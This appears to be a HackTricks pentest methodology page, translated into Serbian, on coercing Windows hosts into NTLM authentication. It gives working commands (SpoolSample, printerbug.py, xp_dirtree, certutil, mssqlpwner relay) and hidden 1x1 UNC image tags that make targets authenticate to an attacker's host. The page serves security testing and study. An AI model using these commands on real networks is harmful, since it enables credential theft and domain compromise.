hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

8 KiB

Force NTLM Privileged Authentication

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

SharpSystemTriggers

SharpSystemTriggers je kolekcija okidača za daljinsku autentifikaciju napisanih u C# koristeći MIDL kompajler kako bi se izbegle zavisnosti od trećih strana.

Zloupotreba Spooler Servisa

Ako je Print Spooler servis omogućen, možete koristiti neke već poznate AD akreditive da zatražite od štampača na kontroleru domena ažuriranje o novim poslovima štampe i jednostavno mu reći da pošalje obaveštenje nekom sistemu.
Napomena: kada štampač pošalje obaveštenje nekom proizvoljnom sistemu, mora da se autentifikuje prema tom sistemu. Stoga, napadač može naterati Print Spooler servis da se autentifikuje prema proizvoljnom sistemu, a servis će koristiti računar kao nalog u ovoj autentifikaciji.

Pronalaženje Windows Servera na domenu

Koristeći PowerShell, dobijte listu Windows mašina. Serveri su obično prioritet, pa hajde da se fokusiramo na njih:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Pronalaženje Spooler usluga koje slušaju

Koristeći malo modifikovani @mysmartlogin-ov (Vincent Le Toux) SpoolerScanner, proverite da li Spooler usluga sluša:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Možete takođe koristiti rpcdump.py na Linux-u i tražiti MS-RPRN protokol.

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Zamolite servis da se autentifikuje protiv proizvoljnog hosta

Možete kompajlirati SpoolSample odavde.

SpoolSample.exe <TARGET> <RESPONDERIP>

ili koristite 3xocyte's dementor.py ili printerbug.py ako ste na Linuxu

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Kombinovanje sa Neograničenom Delegacijom

Ako je napadač već kompromitovao računar sa Neograničenom Delegacijom, napadač bi mogao da natera štampač da se autentifikuje protiv ovog računara. Zbog neograničene delegacije, TGT računa računara štampača će biti sačuvan u memoriji računara sa neograničenom delegacijom. Pošto je napadač već kompromitovao ovaj host, moći će da izvuče ovu kartu i zloupotrebi je (Pass the Ticket).

RCP Prisilna autentifikacija

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

Napad PrivExchange je rezultat greške pronađene u Exchange Server PushSubscription funkciji. Ova funkcija omogućava da Exchange server bude primoran od strane bilo kog korisnika domena sa poštanskim sandučetom da se autentifikuje na bilo kojem hostu koji obezbeđuje klijent preko HTTP-a.

Podrazumevano, Exchange servis radi kao SYSTEM i ima prekomerne privilegije (konkretno, ima WriteDacl privilegije na domen pre-2019 Kumulativno Ažuriranje). Ova greška se može iskoristiti da omogući preusmeravanje informacija na LDAP i naknadno ekstraktovanje NTDS baze podataka domena. U slučajevima kada preusmeravanje na LDAP nije moguće, ova greška se i dalje može koristiti za preusmeravanje i autentifikaciju na druge hostove unutar domena. Uspešna eksploatacija ovog napada omogućava trenutni pristup Administratoru Domena sa bilo kojim autentifikovanim korisničkim nalogom domena.

Unutar Windows-a

Ako ste već unutar Windows mašine, možete naterati Windows da se poveže sa serverom koristeći privilegovane naloge sa:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Ili koristite ovu drugu tehniku: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

Moguće je koristiti certutil.exe lolbin (Microsoft-ov potpisani binarni fajl) za primoravanje NTLM autentifikacije:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Via email

Ako znate email adresu korisnika koji se prijavljuje na mašinu koju želite da kompromitujete, možete mu jednostavno poslati email sa 1x1 slikom kao što je

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

i kada ga otvori, pokušaće da se autentifikuje.

MitM

Ako možete da izvršite MitM napad na računar i ubacite HTML u stranicu koju će vizualizovati, mogli biste pokušati da ubacite sliku poput sledeće u stranicu:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Cracking NTLMv1

Ako možete uhvatiti NTLMv1 izazove pročitajte ovde kako ih probiti.
Pametite da da biste probili NTLMv1 morate postaviti Responder izazov na "1122334455667788"

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}